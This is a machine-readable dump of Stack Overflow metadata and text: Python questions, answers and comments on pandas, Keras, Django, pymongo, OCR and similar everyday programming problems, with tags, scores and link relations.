score: 0
type: Comment
type: QuestionComment
has text: @celnmeh Edit that into the question, don't put it in a comment.
comment on: http://stackoverflow.com/q/49577478

http://stackoverflow.com/q/49583256
answer count: 1
has comment: http://stackoverflow.com/comment/86174791
has answer: http://stackoverflow.com/a/49583628
favorite count: 0
type: Question
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/86174919
upvote count: 0
type: UnansweredQuestion
score: -4
tagged with: python
downvote count: 4
has body: I'm very new to Python and we are using pandas to read a text file and retrieve data from specific lines. There are 44 lines listed in my text file but I only need from line 35 -44. And I need to exclude everything but "President", "Took office", "Left Office", "Party". I have this function but its not reading my df1 that will be my dataframe. def party_list(): df1 = pd.read_table("presidents.txt", delimiter=",",usecols=["President ", "Took office ","Left office ", "Party "]) location1=r' /users/Paula/PycharmProjects/Spring 2018_Paula/ ' f = open("presidents.txt",'r') while True: line = f.readline() if line == "": break print(line)
tagged with: pandas
has title: skip lines in a text file

http://stackoverflow.com/q/49524396
has comment: http://stackoverflow.com/comment/86079019
has comment: http://stackoverflow.com/comment/86055819
has body: I am trying to train a 2D convolutional LSTM to make categorical predictions based on video data. However, my output layer seems to be running into a problem: "ValueError: Error when checking target: expected dense_1 to have 5 dimensions, but got array with shape (1, 1939, 9)" My current model is based off of the ConvLSTM2D example provided by Keras Team. I believe that the above error is the result of my misunderstanding the example and its basic principles. Data I have an arbitrary number of videos, where each video contains an arbitrary number of frames. Each frame is 135x240x1 (color channels last). This results in an input shape of (None, None, 135, 240, 1), where the two "None" values are batch size and timesteps in that order. If I train on a single video with a 1052 frames, then my input shape becomes (1, 1052, 135, 240, 1). For each frame, the model should predict values between 0 and 1 across 9 classes. This means that my output shape is (None, None, 9). If I train on a single video with 1052 frames, then this shape becomes (1, 1052, 9). Model Layer (type) Output Shape Param # ================================================================= conv_lst_m2d_1 (ConvLSTM2D) (None, None, 135, 240, 40 59200 _________________________________________________________________ batch_normalization_1 (Batch (None, None, 135, 240, 40 160 _________________________________________________________________ conv_lst_m2d_2 (ConvLSTM2D) (None, None, 135, 240, 40 115360 _________________________________________________________________ batch_normalization_2 (Batch (None, None, 135, 240, 40 160 _________________________________________________________________ conv_lst_m2d_3 (ConvLSTM2D) (None, None, 135, 240, 40 115360 _________________________________________________________________ batch_normalization_3 (Batch (None, None, 135, 240, 40 160 _________________________________________________________________ dense_1 (Dense) (None, None, 135, 240, 9) 369 =============================…
has comment: http://stackoverflow.com/comment/86056895
has comment: http://stackoverflow.com/comment/86057227
has comment: http://stackoverflow.com/comment/86079144
has comment: http://stackoverflow.com/comment/86059268
tagged with: python
has comment: http://stackoverflow.com/comment/86082034
accepted answer: http://stackoverflow.com/a/49537645
has comment: http://stackoverflow.com/comment/86080478
tagged with: lstm
linked to: http://stackoverflow.com/q/49432852
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/86057316
has answer: http://stackoverflow.com/a/49537645
tagged with: conv-neural-network
has comment: http://stackoverflow.com/comment/86057832
has comment: http://stackoverflow.com/comment/86056205
has comment: http://stackoverflow.com/comment/86056486
score: 7
has comment: http://stackoverflow.com/comment/86058625
has comment: http://stackoverflow.com/comment/86057522
answer count: 1
downvote count: 0
has comment: http://stackoverflow.com/comment/86056638
upvote count: 7
tagged with: keras
has comment: http://stackoverflow.com/comment/86057337
tagged with: tensorflow
has comment: http://stackoverflow.com/comment/86080454
favorite count: 0
has comment: http://stackoverflow.com/comment/86055397
has comment: http://stackoverflow.com/comment/86056403
type: Question
has title: Keras ConvLSTM2D: ValueError on output layer
has comment: http://stackoverflow.com/comment/86078546

http://stackoverflow.com/q/49525498
has body: Hello just a quick question people, I want to get a domain's IP address and post it into another file example &gt;&gt; import socket &gt;&gt; socket.gethostbyname('www.google.com') '216.58.203.100' I want to take '216.58.203.100' and place it into a separate file like this: add address=216.58.203.100 list=st Is this possible ? I'm only new to python and I'm not quite sure on what questions to ask. -EDIT- I understand appending a file put I'm just confused on how I take the the 'IP address' and place it in ( add address= RIGHT HERE list=st )
tagged with: python
has title: Posting domain IP address into another file
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/86058101
accepted answer: http://stackoverflow.com/a/49526302
score: 0
has comment: http://stackoverflow.com/comment/86056798
answer count: 1
linked to: http://stackoverflow.com/q/4706499
has comment: http://stackoverflow.com/comment/86058060
type: Question
has answer: http://stackoverflow.com/a/49526302
has comment: http://stackoverflow.com/comment/86058091
has comment: http://stackoverflow.com/comment/86058028

http://stackoverflow.com/q/49560518
tagged with: python
has answer: http://stackoverflow.com/a/55240294
has comment: http://stackoverflow.com/comment/86129118
score: 0
answer count: 2
type: Question
has comment: http://stackoverflow.com/comment/86131527
tagged with: django-2.0
has body: I have two models defined in an app called coins. models.py from django.db import models class Coin(models.Model): model defintions class CoinData(models.Model): model defintions I have a function which can write data to my Coin model using a for loop (this is inside models.py) models.py for each_item in list: each_item = Coin(name=each_item) This works fine, but each time I write to the model, it's creating an additional instance even if one already exists. While I refine my code, I simply want to delete all instances in Coin.The list is 1500+ so I cannot delete from Admin (which does work, but produces an error if I try to delete all at once). So I run many variations of the delete() function on the objects in Coins: Coin.objects.all().delete() Or for x in Coin.objects.all() x.delete() It's only when I call delete() that I get the error File "C:\Anaconda\lib\site-packages\django\utils\autoreload.py", line 248, in raise_last_exception raise _exception[1] File "C:\Anaconda\lib\site-packages\django\core\management\__init__.py", line 327, in execute autoreload.check_errors(django.setup)() File "C:\Anaconda\lib\site-packages\django\utils\autoreload.py", line 225, in wrapper fn(*args, **kwargs) File "C:\Anaconda\lib\site-packages\django\__init__.py", line 24, in setup apps.populate(settings.INSTALLED_APPS) File "C:\Anaconda\lib\site-packages\django\apps\registry.py", line 112, in populate app_config.import_models() File "C:\Anaconda\lib\site-packages\django\apps\config.py", line 198, in import_models self.models_module = import_module(models_module_name) File "C:\Anaconda\lib\importlib\__init__.py", line 126, in import_module return _bootstrap._gcd_import(name[level:], package, level) File "&lt;frozen importlib._bootstrap&gt;", line 994, in _gcd_import File "&lt;frozen importlib._bootstrap&gt;", line 971, in _find_and_load File "&lt;frozen importlib._bootstrap&gt;", line 955, in _find_and_load_unlocked File "&lt;frozen importlib._bootstrap&gt;", line 665, in _load_unloc…
has answer: http://stackoverflow.com/a/49560740
type: UnansweredQuestion
has title: When calling delete(), I get 'models aren't loaded yet' error in Django 2.0.3
tagged with: django

http://stackoverflow.com/comment/85970535
score: 1
type: Comment
has text: this is probably your issue (some interesting locale): https://github.com/pythonnet/pythonnet/issues/220
type: QuestionComment
comment on: http://stackoverflow.com/q/49460633

http://stackoverflow.com/q/49467211
tagged with: python
tagged with: crud
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/49468424
score: 0
answer count: 1
has body: I have a JSON POST data that a user is going to send me every time to fetch some data from a third party service.I plan to cache the data based on a scope id so that I don't keep inserting the data each time the user requests for something.Futhermore I am keeping a time stamp for each user request.Below is the POST data that user is going to send me everytime. { "scope_id": "user1", "tool_id": "appdynamics", "api_id": "get metrics", "input_params": {"user": "myuser", "pwd": "mypwd", "acc_id": "myaccount", "app_id": "TestApp", "metric-path": "ars", "time-range-type": "BEFORE_NOW", "duration-in-mins": 10}, "output_filters": {} } Below is the code snippet to handle the insertion of data def post(self): data = ServiceAPI.parser.parse_args() print("First data", data) scope_id = data["scope_id"] tool_id = data["tool_id"] api_id = data["api_id"] input_params = data["input_params"] output_filter = data["output_filter"] if all([scope_id, tool_id, api_id]) and all(input_params.values()): check_id = [j for i in users.find({}) for j in i if j == scope_id] if check_id and check_id[0] == scope_id: users.update({scope_id: [tool_id, api_id, input_params]}, {scope_id: [tool_id, api_id, input_params], "timestamp": datetime.now().strftime('%Y-%m-%d %H:%M:%S')}, upsert=True) else: users.insert_one( {scope_id: [tool_id, api_id, input_params], "timestamp": datetime.now().strftime('%Y-%m-%d %H:%M:%S')}) Here the update statement works great if the user request is exactly the same as last time but makes a new entry if the user demands a new information for example in the POST request api_id = "get logs" when ideally it should have updated the user's data with the latest one. For the first time when the user makes a POST request, below is the data that gets stored in my database [{'user1': ['appdynamics', 'get metrics', {'pwd': 'mypwd', 'metric-path': 'ars', 'user': 'myuser', 'time-range-type': 'BEFORE_NOW', 'acc_id': 'myaccount', 'app_id': 'TestApp', 'duration-in-mins': 10}], 'timestamp': …
accepted answer: http://stackoverflow.com/a/49468424
type: Question
tagged with: pymongo-3.x
tagged with: python-3.x
has title: Unable to update data in pymongo

http://stackoverflow.com/comment/85970933
comment on: http://stackoverflow.com/a/49483867
type: AnswerComment
score: 1
type: Comment
has text: it's like people who have a lot of repo, they rule, rest follow naively

http://stackoverflow.com/q/49470038
has title: Unsupported operand type of an string index
has comment: http://stackoverflow.com/comment/85942589
has body: I tried to run the code down below, but I couldn't because it launched the following error: unsupported operand type(s) for -: 'str' and 'int'. I've been searching and I found that it has something to do with the input, but not in this case. st = "text" for i in range(0, n): for j in st: if j == 0: st[j] = st[len(st)] else: st[j] = st[j - 1]
has comment: http://stackoverflow.com/comment/85942500
has comment: http://stackoverflow.com/comment/85942548
downvote count: 3
tagged with: python
has comment: http://stackoverflow.com/comment/85942514
has answer: http://stackoverflow.com/a/49470062
tagged with: python-3.x
has answer: http://stackoverflow.com/a/49470745
answer count: 3
upvote count: 0
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/49470861
score: -3
favorite count: 0
type: Question

http://stackoverflow.com/comment/86101574
has text: I tried that, I tried putting the field names as strings and tried different keywords. https://bpaste.net/show/889775836bd8 Nah-dah
score: 0
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/49525928

http://stackoverflow.com/a/49533628
score: 0
accepted answer of: http://stackoverflow.com/q/49518666
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/49518666
type: Answer
has body: The issue was that I defined my loss l = loss(tY) outside of the loop that ran and updated my gradients, I am not entirely sure why it had the effect that it did, but moving the loss function definition inside of the loop solved the problem, resulting in this loss:

http://stackoverflow.com/q/49520932
type: UnansweredQuestion
has title: python bad authenticate error to mongodb atlas
downvote count: 0
tagged with: mongodb-atlas
linked to: http://stackoverflow.com/q/39237813
score: 2
tagged with: python-2.7
has body: my code: import certifi import ssl from pymongo import MongoClient connection = MongoClient("mongodb+srv://&lt;USER&gt;:&lt;PASSWORD&gt;@sensor-cluster-jhiup.mongodb.net/test", ssl_cert_reqs=ssl.CERT_REQUIRED, ssl_ca_certs=certifi.where()) print connection db = connection.test print db items = db.items print items db.items.insert_one( {"item": "canvas"}) I get the following error when trying a simple insert via python 2.7 to mongodb atlas: MongoClient(host=['sensor-cluster-shard-00-02-jhiup.mongodb.net:27017', 'sensor-cluster-shard-00-00-jhiup.mongodb.net:27017', 'sensor-cluster-shard-00-01-jhiup.mongodb.net:27017'], document_class=dict, tz_aware=False, connect=True, ssl_ca_certs='/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/site-packages/certifi/cacert.pem', replicaset=u'Sensor-Cluster-shard-0', ssl_cert_reqs=2, ssl=True, authsource=u'admin') Database(MongoClient(host=['sensor-cluster-shard-00-02-jhiup.mongodb.net:27017', 'sensor-cluster-shard-00-00-jhiup.mongodb.net:27017', 'sensor-cluster-shard-00-01-jhiup.mongodb.net:27017'], document_class=dict, tz_aware=False, connect=True, ssl_ca_certs='/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/site-packages/certifi/cacert.pem', replicaset=u'Sensor-Cluster-shard-0', ssl_cert_reqs=2, ssl=True, authsource=u'admin'), u'test') Collection(Database(MongoClient(host=['sensor-cluster-shard-00-02-jhiup.mongodb.net:27017', 'sensor-cluster-shard-00-00-jhiup.mongodb.net:27017', 'sensor-cluster-shard-00-01-jhiup.mongodb.net:27017'], document_class=dict, tz_aware=False, connect=True, ssl_ca_certs='/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/site-packages/certifi/cacert.pem', replicaset=u'Sensor-Cluster-shard-0', ssl_cert_reqs=2, ssl=True, authsource=u'admin'), u'test'), u'items') Traceback (most recent call last): File "/Users/danielmatthews/Python/sunfounderpy3.py", line 18, in {"item": "canvas"}) File "/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/site-package…
tagged with: python
favorite count: 0
type: Question
tagged with: mongodb
has comment: http://stackoverflow.com/comment/86377963
answer count: 0
upvote count: 2

http://stackoverflow.com/comment/85923501
has text: Finally, "Process finished with exit code 0" is what PyCharm prints when your program finishes running with no errors. So… what do you want to change about that? Do you want to exit with an error? Or maybe you want to `print` something out before exiting with no error? Or…?
score: 3
type: Comment
comment on: http://stackoverflow.com/q/49460212
type: QuestionComment

http://stackoverflow.com/comment/86141500
score: 0
type: Comment
comment on: http://stackoverflow.com/q/49566499
type: QuestionComment
has text: But the problem is open(output_file, "w"): This does not append the results, it overwrites. So only the results from your last subfolder are in the file. Change "w" to "a" or swap the outer loop and the open line so you don't reopen the file.

http://stackoverflow.com/q/49573678
has answer: http://stackoverflow.com/a/49573855
tagged with: python
has body: Let's take this file for example: Black_Panther;500;130;120;110 Tomb_Raider;75;112;102;92 Pacific_Rim;400;126;116;106 How do I control in python if the file looks like this: Black_Panther;500;130;120;110 Tomb_Raider;75;112;102;92 Pacific_Rim;400;126;116; (the 106 is missing in the last line). How do I make python alert me when one of the lines is not following the same format as the other lines? In this case, when 106 was removed from the file. Basically I want Python to alert me when one of the lines in the text files doesn't have 5 columns as the others. I've been stuck with this problem and can't solve it. thanx for any help
accepted answer: http://stackoverflow.com/a/49573869
type: AnsweredQuestion
score: 0
answer count: 2
has title: Using python, how to check if every line of a text file has the same format?
tagged with: file
has comment: http://stackoverflow.com/comment/86154729
has answer: http://stackoverflow.com/a/49573869
type: Question
has comment: http://stackoverflow.com/comment/86155333
possible better answer: http://stackoverflow.com/a/49573855

http://stackoverflow.com/q/49524884
type: Question
type: AnsweredQuestion
tagged with: pandas
upvote count: 5
tagged with: dataframe
tagged with: python
has body: I have a table in which there are over 200 columns. The columns come with different pairs (e.g., two types of Benz), below is an example. What I want to do is to calculate the difference of each pair for a new column (like the last column as an example). I was thinking to separate the tables with two tables (A &amp; B) according to the first letter, and sort the column. But is there a more efficient way in Pandas? Thanks! A_Benz B_Benz A_Audi B_Audi A_Honda B_Honda dif_Audi 1 0 1 1 0 0 0 1 0 0 1 0 0 -1 1 0 0 1 0 0 -1 1 0 1 1 1 1 0 1 0 0 1 0 0 -1
has title: Separate DataFrame into parts based on column prefix and perform arithmetic on the parts
accepted answer: http://stackoverflow.com/a/49524918
answer count: 3
possible better answer: http://stackoverflow.com/a/49524922
has answer: http://stackoverflow.com/a/49524918
has answer: http://stackoverflow.com/a/49524922
has comment: http://stackoverflow.com/comment/86055944
score: 4
has answer: http://stackoverflow.com/a/49525086
downvote count: 1
favorite count: 0

http://stackoverflow.com/q/49465940
has comment: http://stackoverflow.com/comment/85945415
tagged with: python
has comment: http://stackoverflow.com/comment/85939497
has comment: http://stackoverflow.com/comment/85939062
has title: Learning Python - What cases does my code get wrong?
has comment: http://stackoverflow.com/comment/85938814
has comment: http://stackoverflow.com/comment/85939146
has comment: http://stackoverflow.com/comment/85945660
upvote count: 0
score: -5
answer count: 2
has comment: http://stackoverflow.com/comment/85945165
has comment: http://stackoverflow.com/comment/85939200
has comment: http://stackoverflow.com/comment/85934700
has comment: http://stackoverflow.com/comment/85957029
has body: I'm learning python. Below are two functions that accomplish the same thing with two different approaches. One I came up with on my own, the other was given by code academy. My question is, for the experienced programmers, which one would you use and why? Are you indifferent to either one? What cases does my code get wrong? ***********#1**************** def censor(text, word): stars = "" for x in word: stars = stars + "*" text = text.replace(word, stars) return text ***********#2**************** def censor(text, word): words = text.split() print words result = '' stars = '*' * len(word) count = 0 for i in words: if i == word: words[count] = stars count += 1 result =' '.join(words) return result
has comment: http://stackoverflow.com/comment/85952683
has comment: http://stackoverflow.com/comment/85939541
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/49466058
downvote count: 5
has answer: http://stackoverflow.com/a/49466053
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/85944443

http://stackoverflow.com/q/49478228
has comment: http://stackoverflow.com/comment/85971412
tagged with: python
has answer: http://stackoverflow.com/a/49487585
has body: This error: TclError: no display name and no $DISPLAY environment variable arose when I tried to run a Python 3.6 program inside Google Colab (collaborative Jupyter notebooks). I am running Colab in Chrome on a Windows 10 machine. I've seen this error reported in other threads on Stack Overflow but not in the context of Colab, and previously posted solutions either don't apply or don't seem to work. My code begins like this: from matplotlib.pyplot import * from matplotlib.widgets import * from math import * from random import * from numpy import * from tkinter import * Note that to get the import of tkinter to work, I had to issue the following instruction in a different Colab cell: !apt-get install python3-tk
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/66952101
answer count: 2
tagged with: tkinter
downvote count: 0
type: UnansweredQuestion
upvote count: 11
score: 11
tagged with: google-colaboratory
has title: TclError: no display name and no $DISPLAY environment variable in Google Colab

excel
tags question: http://stackoverflow.com/q/49531067
tags question: http://stackoverflow.com/q/49503422
tag name: excel
tags question: http://stackoverflow.com/q/49490711
tags question: http://stackoverflow.com/q/49539203
tags question: http://stackoverflow.com/q/49510289
tags question: http://stackoverflow.com/q/49599566
tags question: http://stackoverflow.com/q/49525675
tags question: http://stackoverflow.com/q/49470965
tags question: http://stackoverflow.com/q/49567998
tags question: http://stackoverflow.com/q/49516179
type: Tag
tags question: http://stackoverflow.com/q/49445356
tags question: http://stackoverflow.com/q/49581703
tags question: http://stackoverflow.com/q/49501830
tags question: http://stackoverflow.com/q/49504562
tags question: http://stackoverflow.com/q/49568311
tags question: http://stackoverflow.com/q/49522220
tags question: http://stackoverflow.com/q/49534597
tags question: http://stackoverflow.com/q/49514374
tags question: http://stackoverflow.com/q/49491199
tags question: http://stackoverflow.com/q/49527438
tags question: http://stackoverflow.com/q/49487844
tags question: http://stackoverflow.com/q/49468776
tags question: http://stackoverflow.com/q/49507680
tags question: http://stackoverflow.com/q/49538395
tags question: http://stackoverflow.com/q/49510037
tags question: http://stackoverflow.com/q/49454894
tags question: http://stackoverflow.com/q/49476903
tags question: http://stackoverflow.com/q/49501509
tags question: http://stackoverflow.com/q/49541841

http://stackoverflow.com/comment/86085436
has text: @RenLyke Does it enter the exception clause before it exits?
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/49536284
type: Comment

http://stackoverflow.com/q/49589269
accepted answer: http://stackoverflow.com/a/49589478
score: 1
tagged with: python
has body: I ran across something odd. See the following example: &gt;&gt;&gt; class demo(ctypes.Structure): ... _fields_ = [('data', ctypes.POINTER(ctypes.c_int16))] &gt;&gt;&gt; b = demo() &gt;&gt;&gt; b.data &lt;__main__.LP_c_short object at 0x7f709c0550d0&gt; &gt;&gt;&gt; hasattr(b.data, 'contents') Traceback (most recent call last): File "&lt;stdin&gt;", line 1, in &lt;module&gt; ValueError: NULL pointer access NULL pointer access &gt;&gt;&gt; 'contents' in dir(b.data) True I guess the above behavior is intended, although I do not fully understand it. data is a field in a ctypes structure, defined as a pointer to an integer. It is uninitialized, i.e. a NULL pointer. It does have a contents attribute like one would expect (dir does list it), although accessing it would not make sense. I'd expect that hasattr also returns True, but instead it raises a ValueError. Why is that?
type: AnsweredQuestion
tagged with: python-3.x
has title: Why does hasattr raise a ValueError although attribute exists?
tagged with: ctypes
has answer: http://stackoverflow.com/a/49589478
downvote count: 0
answer count: 1
upvote count: 1
favorite count: 0
type: Question

http://stackoverflow.com/comment/86168914
has text: @Faller. But why, though? What specific problem are you trying to solve by doing that?
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/49538983
score: 0

http://stackoverflow.com/comment/85989329
score: 0
type: AnswerComment
has text: Thank you! As for the `ABS(B1-C1)/C1 > 0.15` part, this again is only specified to one row, but I'd like it to apply to all the rows. Any ideas on how I can do that? I'm currently using `=(ABS(($D:$D-$E:$E)/$E:$E)) > 0.15` but it doesn't do anything. Even from within Excel this leaves the backgrounds white.
comment on: http://stackoverflow.com/a/49489665
type: Comment

http://stackoverflow.com/comment/102604905
comment on: http://stackoverflow.com/a/49458412
score: 1
type: Comment
type: AnswerComment
has text: By the way, it would be great to see if the authors of the libs would be up to include your example in their code. Did you try to commit your example to the docs ?

http://stackoverflow.com/comment/85946386
type: Comment
comment on: http://stackoverflow.com/a/49471814
type: AnswerComment
has text: @DyZ evil prevails :s
score: 0

http://stackoverflow.com/comment/86015360
has text: Eeh minor typo, coming from writing answers on the phone. There you go.
type: Comment
comment on: http://stackoverflow.com/a/49505518
score: 0
type: AnswerComment

http://stackoverflow.com/comment/85962828
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/49479838
has text: @VasilisG. Not when you call the function from the prompt.
type: Comment

http://stackoverflow.com/comment/86125134
comment on: http://stackoverflow.com/a/49558685
type: Comment
score: 0
type: AnswerComment
has text: Your answer makes it sound like `im2[i,j] > 255` is the same as `len(im2[i,j]) > 255`

http://stackoverflow.com/a/61807873
has body: Though this is an old question I'd like to provide another possible solution. If the module is something you installed (e.g you have a setup.py file and you've pip installed your project) then uninstalling the module could fix it. This turned out to solve my problem when I ran into it.
score: 0
answers question: http://stackoverflow.com/q/49568216
type: Answer

http://stackoverflow.com/comment/86161065
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49576729
has text: How did `B` end up in a row with `2081242DFW`?
score: 1

http://stackoverflow.com/a/49461114
score: 0
has body: There is no function to do that directly. But, you can loop over the input tensor to construct the required eigen tensor and then reshape it. # Supposing your tensor is a out = [] for bs in range(a.size(0)): for c in range(a.size(1)): e, _ = torch.eig(a[bs, c, :, :]) out.append(torch.max(e)) out = torch.stack(out).view(a.size(0), a.size(1))
answers question: http://stackoverflow.com/q/49460528
has comment: http://stackoverflow.com/comment/85927353
type: Answer

http://stackoverflow.com/a/49592987
type: Answer
score: 0
has body: Here is one way. truncate function courtesy of @user648852. from math import sqrt, floor def truncate(f, n): return floor(f * 10 ** n) / 10 ** n x = sqrt(19) # x : 4.358898943540674 print("{0}".format(truncate(x, 4))) # 4.3588
has comment: http://stackoverflow.com/comment/86194416
answers question: http://stackoverflow.com/q/49592945

http://stackoverflow.com/a/49590001
downvote count: 1
has body: You can find all combinations of values in the list, and then find the listing whose sum is closest to the target: import itertools s = [{'vals':[-1, 2, 1, -4], 'target':1}, {'vals':[0,2,1,-3],'target':1}] final_result = {tuple(a['vals']):sum(min(itertools.combinations(a['vals'], 3), key=lambda x:abs(a['target']-sum(x)))) for a in s} Output: {(-1, 2, 1, -4): 2, (0, 2, 1, -3): 0}
answers question: http://stackoverflow.com/q/49589941
type: Answer
score: 0
has comment: http://stackoverflow.com/comment/86187750
has comment: http://stackoverflow.com/comment/86187735
has comment: http://stackoverflow.com/comment/86187756
upvote count: 1

http://stackoverflow.com/q/49543486
score: 1
answer count: 1
has answer: http://stackoverflow.com/a/49545022
downvote count: 0
upvote count: 1
tagged with: patch
has comment: http://stackoverflow.com/comment/86094956
has comment: http://stackoverflow.com/comment/86094795
has body: I'm new to patching/mocking in general and in python in particular. I am trying to patch a dict which will be accessed in a test case using the following obj = Foo(None) with patch.dict(obj.bar.items_dict,{TEST_DIR + '/Transparent.gif', data}): output = obj.create_css_for_imgs() But i get the following error. Please understand that the __init__() function of Foo makes bar None by default AttributeError: 'NoneType' object has no attribute 'items_dict' The classes are as follows: class Foo(object): def __init__(self, barVal): self.bar = barVal class Bar(): def __init__(self, val) self.items_dict = {} self._load(val)
favorite count: 0
has title: Mocking Dictionary in python
tagged with: unit-testing
type: Question
has comment: http://stackoverflow.com/comment/86094660
has comment: http://stackoverflow.com/comment/86095031
tagged with: mocking
has comment: http://stackoverflow.com/comment/86094657
has comment: http://stackoverflow.com/comment/86095173
has comment: http://stackoverflow.com/comment/86094583
tagged with: python
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/49545022

http://stackoverflow.com/comment/86038783
has text: The two global statements at the top are useless btw,
comment on: http://stackoverflow.com/q/49516712
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/49588650
has comment: http://stackoverflow.com/comment/86185101
has comment: http://stackoverflow.com/comment/86200278
has answer: http://stackoverflow.com/a/79091565
downvote count: 0
has body: I am new to Telegram Bot API (python telegram.ext), here is my question: I am trying to send formatted message in reply to received message. For simplicity I removed everything from the code below mtxt = " line 1 " res = bot.send_message(chat_id=update.message.chat_id, text=mtxt, parse_mode='HTML') print(res) Nothing is returned to telegram (no answer from bot) and print() never happens. If I remove 'parse_mode...' clause from the call it works. I must be fundamentally wrong somewhere... This is very basic staff, what is missing?
has answer: http://stackoverflow.com/a/77504601
score: 1
has comment: http://stackoverflow.com/comment/86200242
favorite count: 0
type: Question
answer count: 3
tagged with: python-telegram-bot
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/49706034
has comment: http://stackoverflow.com/comment/86200335
upvote count: 1
tagged with: python
has title: telegram bot send_message() hangs with HTML text
has comment: http://stackoverflow.com/comment/86200292
has comment: http://stackoverflow.com/comment/117477880
has answer: http://stackoverflow.com/a/49588769
has comment: http://stackoverflow.com/comment/86185517

http://stackoverflow.com/comment/86191260
type: Comment
score: 0
comment on: http://stackoverflow.com/q/49590693
has text: "code doesn't seem to work" is not a precise enough error description for us to help you. *What* doesn't work? *How* doesn't it work? What trouble do you have with your code? Do you get an error message? What is the error message? Is the result you are getting not the result you are expecting? What result do you expect and why, what is the result you are getting and how do the two differ? Is the behavior you are observing not the desired behavior? What is the desired behavior and why, what is the observed behavior, and in what way do they differ?
type: QuestionComment

http://stackoverflow.com/q/49499506
has answer: http://stackoverflow.com/a/52356651
tagged with: bing-ads-api
has answer: http://stackoverflow.com/a/50182899
accepted answer: http://stackoverflow.com/a/50182899
favorite count: 0
type: Question
upvote count: 2
answer count: 2
has body: Trying to use Bing Ads Python API, which uses suds, and I am very green about this concept. I frequently encounter an error message as: Invalid client data. Check the SOAP fault details for more information I know this probably means my request has some data format issue. My question is how can I Check the SOAP fault details as suggested in the error?
possible better answer: http://stackoverflow.com/a/52356651
tagged with: soap
tagged with: python
type: AnsweredQuestion
score: 2
has title: How to check SOAP fault in python when using suds?
downvote count: 0
tagged with: suds

http://stackoverflow.com/comment/86102656
type: Comment
type: QuestionComment
has text: `odeint` expects a 1st order system. Rewrite the system as a system of 6 first order equations. [Youtube example](https://www.youtube.com/watch?v=z3iu1qiJue4)
score: 3
comment on: http://stackoverflow.com/q/49547534

http://stackoverflow.com/comment/85970863
comment on: http://stackoverflow.com/q/49483552
type: Comment
type: QuestionComment
has text: OK, you say you're passing integer values—what integer value are you passing for a blank CSV field?
score: 0

http://stackoverflow.com/q/49522581
has answer: http://stackoverflow.com/a/49523464
accepted answer: http://stackoverflow.com/a/49523464
has answer: http://stackoverflow.com/a/49523149
score: -2
has comment: http://stackoverflow.com/comment/86051232
tagged with: python
type: AnsweredQuestion
downvote count: 2
possible better answer: http://stackoverflow.com/a/49523149
has comment: http://stackoverflow.com/comment/86051216
has comment: http://stackoverflow.com/comment/86052401
has title: How to access elements of a nested dictionary after creating it
has comment: http://stackoverflow.com/comment/86052306
has comment: http://stackoverflow.com/comment/86052269
has body: I have created this below dictionary and want an output something like this: main_dict = { 'pins': { 'Category': ['General'], 'Contact': ['Mark'], 'Description': ['This', 'is', 'a'] }, 'nails': { 'Category': ['specific'], 'Contact': ['Jon'], 'Description': ['This', 'is', 'a', 'description'] }, 'board': { 'Category': ['General'], 'Contact': ['Mark'], 'Description': ['This', 'is', 'a'] }, 'hammer': { 'Category': ['tools'], 'Contact': ['Jon'], 'Description': ['This', 'is', 'a', 'description'] } } Output: {'General': ['pins', 'board'], 'specific': ['nails'], 'tools': ['hammer']}
has comment: http://stackoverflow.com/comment/86051349
has comment: http://stackoverflow.com/comment/86052273
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/86051956
upvote count: 0
answer count: 2

http://stackoverflow.com/q/49535840
possible better answer: http://stackoverflow.com/a/49931632
accepted answer: http://stackoverflow.com/a/49981186
has answer: http://stackoverflow.com/a/49981186
tagged with: ocr
type: Question
score: 20
has body: I am trying to detect these price labels text which is always clearly preprocessed. Although it can easily read the text written above it, it fails to detect price values. I am using python bindings pytesseract although it also fails to read from the CLI commands. Most of the time it tries to recognize the part where the price as one or two characters. Sample 1: tesseract D:\tesseract\tesseract_test_images\test.png output And the output of the sample image is this. je Beutel 13 However if I crop and stretch the price to look like they are seperated and are the same font size, output is just fine. Processed image(cropped and shrinked price): je Beutel 1,89 How do get OCR tesseract to work as I intended, as I will be going over a lot of similar images? Edit: Added more price tags: sample5 sample6 sample7
answer count: 2
has comment: http://stackoverflow.com/comment/86086225
has title: Tesseract OCR fails to detect varying font size and letters that are not horizontally aligned
has answer: http://stackoverflow.com/a/49931632
upvote count: 21
linked to: http://stackoverflow.com/q/43547540
tagged with: python
downvote count: 1
has comment: http://stackoverflow.com/comment/86086028
favorite count: 0
tagged with: tesseract
tagged with: opencv
has comment: http://stackoverflow.com/comment/86078881
type: AnsweredQuestion

http://stackoverflow.com/comment/86059827
has text: i am not sure of python but in node js you can have a look https://github.com/alexa/alexa-skills-kit-sdk-for-nodejs. The concept remain the same you add an attribute in session node for to identify from where you are coming
type: Comment
comment on: http://stackoverflow.com/a/49526362
type: AnswerComment
score: 0

http://stackoverflow.com/q/49493816
score: 0
tagged with: tkinter
has comment: http://stackoverflow.com/comment/85992285
has comment: http://stackoverflow.com/comment/85992701
answer count: 1
upvote count: 1
downvote count: 1
favorite count: 0
type: Question
